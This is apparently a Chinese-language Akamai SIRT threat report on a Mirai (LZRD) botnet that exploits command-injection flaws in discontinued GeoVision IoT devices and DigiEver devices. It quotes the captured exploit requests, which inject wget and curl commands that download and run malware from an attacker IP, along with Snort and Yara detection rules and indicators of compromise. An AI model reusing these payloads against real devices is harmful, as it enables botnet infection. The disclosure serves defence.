Mirai 来袭:物联网设备暴露于主动利用攻击之下
执行摘要
Akamai 安全情报响应团队 (SIRT) 发现已停产的 GeoVision 物联网 (IoT) 设备的命令注入漏洞(CVE-2024-6047 和 CVE-2024-11120)遭到主动利用攻击。
SIRT 于 2025 年 4 月首次在我们的诱饵网络中发现该活动。这是自 2024 年 6 月和 2024 年 11 月首次披露这些漏洞以来,首次报告此类主动利用事件。
利用这些漏洞的僵尸网络还同时利用了多个其他已知漏洞,包括我们此前报告过的 DigiEver 漏洞。
为帮助抵御此威胁,我们在本博文中提供了相关的入侵指标 (IoC) 列表。
前言
自 2016 年以来,终端设备已被迫“接受”Mirai,而一些已退役的 GeoVision 设备成为了最新的攻击目标。2025 年 4 月初,Akamai SIRT 在我们的全球诱饵网络中发现了针对 URI /DateSetting.cgi 的攻击活动。
经过进一步调查,我们确认这些活动与此前披露的 GeoVision 设备中的命令注入漏洞(CVE-2024-6047 和 CVE-2024-11120)有关。
尽管这些漏洞已被“公开”,但除了分配的 CVE 编号外,公众对其知之甚少。最终,该供应商直接验证了漏洞的归属以及威胁范围(该威胁仅限于已退役的 GeoVision 物联网设备)。
漏洞
该类攻击针对 GeoVision 物联网设备中的 /DateSetting.cgi 端点,并将命令注入参数 szSrvIpAddr 中。部分已停产的 GeoVision 设备未能正确过滤此参数的用户输入,这使得未经身份验证的远程攻击者可以在目标系统上注入并执行任意系统命令。
此命令注入漏洞通过 CVE-2024-6047 和 CVE-2024-11120 进行追踪。这两个漏洞最初分别于 2024 年 6 月和 2024 年 11 月报告,但当时并未公开技术细节,相关信息非常有限,也没有关于其被主动利用的公开记录。
主动利用
根据 Akamai SIRT 的观察,最早以此 URI 为目标的漏洞利用尝试发生在 2025 年 4 月初。
在对攻击载荷进行解码后,我们发现该僵尸网络通过 szSrvIpAddr 参数注入命令,目的是下载并执行一个基于 ARM 的 Mirai 恶意软件文件,文件名为 “boatnet”,这是 Mirai 常用的命名方式之一(图 1)。
/DateSetting.cgi dwTimeZone=2&dwGainType=0&szSrvIpAddr=time.windows.com;$(cd /tmp;wget http://176.65.144[.]253/hiddenbin/boatnet.arm7;chmod 777 boatnet.arm7;./boatnet.arm7 geovision;)&NTP_Update_time_hh=5&NTP_Update_time_mm=10&szDateM=2024/08/07&szTimeM=14:25:16&bDateFomat=0&bDateFormatMisc=0&dwIsDelay=1&Montype=0&submit=Apply
图 1:用于下载并执行基于 ARM 的 Mirai 恶意软件文件(名为“boatnet”)的命令
该命令会下载并执行基于 Mirai 的恶意软件变体 LZRD。 识别该变体最常见的方式是查看恶意软件执行时在目标机器控制台上输出的特殊字符串(图 2)。
此外,我们还观察到几个与其他 Mirai 变体一致的攻击函数,这进一步印证了上述推论(图 3)。
sym.attack_udp_plain
sym.attack_get_opt_ip
sym.attack_tcp_ack
sym.attack_method_nfo
sym.attack_method_raw
sym.attack_method_hexflood
sym.attack_method_tcp
sym.attack_method_udphex
sym.attack_method_udphex
sym.attack_udp_custom
sym.attack_tcp_stomp
sym.attack_method_tcpxmas
sym.attack_tcp_syn
sym.attack_get_opt_int
sym.attack_method_std
sym.attack_method_ovhdrop
sym.attack_get_opt_str
sym.attack_method_ovh
sym.attack_method_nudp
sym.attack_tcp_bypass
sym.attack_method_stdhex
图 3:LZRD Mirai 恶意软件中的攻击函数
但还不止于此。在整个分析过程中,我们还在 sym.resolve_cnc_addr() 函数中发现了一个硬编码命令和控制 (C2) IP 地址(图 4)。
在调查该僵尸网络的 C2 基础架构时,我们注意到部分 C2 服务器端口上显示有横幅信息,这些信息可能与僵尸网络的 C2 通信相关。我们通过从该横幅得出的 Censys 查询语句 services.banner="*[?1049h*0;Please enter your credentials*",成功识别出了更多的僵尸网络基础架构。
图 5 中的横幅信息与我们在 2023 年报告的 InfectedSlurs 消息 (Infected Slurs/TBOTNET) 类似。安全研究员 Fox_threatintel 曾在 2024 年 1 月将该横幅与早期的僵尸网络联系起来,且该网络的残余部分似乎至今仍在活动。尽管该研究员当时提供的查询语句目前已不再返回结果,但横幅字符串与之非常相似,这进一步印证了它们之间的关联性。
其他被利用的漏洞
我们还观察到该僵尸网络试图利用我们诱饵网络中的各种其他漏洞。其中包括 Hadoop YARN 漏洞、ZTE ZXV10 H108L Router 漏洞、CVE-2018-10561 漏洞,以及我们此前报告过的 DigiEver 漏洞(图 6)。
/cgi-bin/cgi_main.cgi
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&ntp1=time.stdtime.gov.tw&ntp2=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
图 6:被利用的 DigiEver 漏洞
结论
基于 Mirai 的僵尸网络持续威胁着许多企业,而过时物联网设备的大量存在也助长了这种威胁的蔓延。与安全研究员一样,一些攻击者也会密切关注与其非法活动相关的最新漏洞披露情况。影响物联网设备的新型远程代码执行或命令注入漏洞是这些攻击者研究和利用的主要目标。
对于网络犯罪分子来说,攻击安全防护薄弱、固件版本过时的老旧设备可以迅速、高效地组建僵尸网络。有很多硬件制造商并不会为已停用的设备发布补丁(在某些情况下,制造商自身可能都已不复存在)。我们被告知受影响的 GeoVision 型号已停用,并且不会再收到进一步的更新。
在安全补丁不可用以及不太可能推出安全补丁的情况下,我们建议您放弃易受攻击的设备并升级为较新的型号。
关注新动态
IOC
为了帮助企业有效防御威胁,我们提供了相关的入侵指标 (IoC) 列表以及 Snort 和 Yara 规则。
针对网络 IoC 的 Snort 规则
针对 C2 IP 的 Snort 规则
alert ip any any -> [209.141.44.28, 51.38.137.114, 176.65.144.253, 176.65.144.232, 198.23.212.246] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
针对 C2 域解析检测的 Snort 规则(僵尸网络 2)
alert http any any -> any any (
msg:"Possible Botnet C2 or Malware Distribution - connect.antiwifi.dev";
content:"connect.antiwifi.dev"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
针对恶意软件样本的 Yara 规则
rule Botnet_Indicators
{
meta:
description = "Detects botnet malware samples and network-based indicators"
date = "2025-04-22"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "209.141.44.28"
$ip2 = "51.38.137.114"
$ip3 = "176.65.144.2534"
$ip4 = "176.65.144.232"
$ip5 = "198.23.212.246"
$domain1 = "connect.antiwifi.dev"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714",
hash.sha256(0, filesize) == "11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114",
hash.sha256(0, filesize) == "8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e",
hash.sha256(0, filesize) == "ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516",
hash.sha256(0, filesize) == "03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3",
hash.sha256(0, filesize) == "0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d",
hash.sha256(0, filesize) == "7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a",
hash.sha256(0, filesize) == "50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5",
hash.sha256(0, filesize) == "bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda",
hash.sha256(0, filesize) == "074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3",
hash.sha256(0, filesize) == "5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a",
hash.sha256(0, filesize) == "de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88",
hash.sha256(0, filesize) == "aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8",
hash.sha256(0, filesize) == "3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6",
hash.sha256(0, filesize) == "3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e",
hash.sha256(0, filesize) == "5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a",
hash.sha256(0, filesize) == "2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5",
hash.sha256(0, filesize) == "dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c",
hash.sha256(0, filesize) == "866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a",
hash.sha256(0, filesize) == "64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530",
hash.sha256(0, filesize) == "9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582",
hash.sha256(0, filesize) == "bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f",
hash.sha256(0, filesize) == "58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
IPv4 地址
209.141.44.28
51.38.137.114
176.65.144.253
176.65.144.232
198.23.212.246
C2 域
connect.antiwifi.dev
SHA256 哈希值
f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714
11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114
8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e
ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516
03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3
0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d
7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a
50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5
bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda
074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3
5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a
de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88
aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8
3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6
3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e
5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a
2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5
dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c
866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a
64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530
9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582
bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f
58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b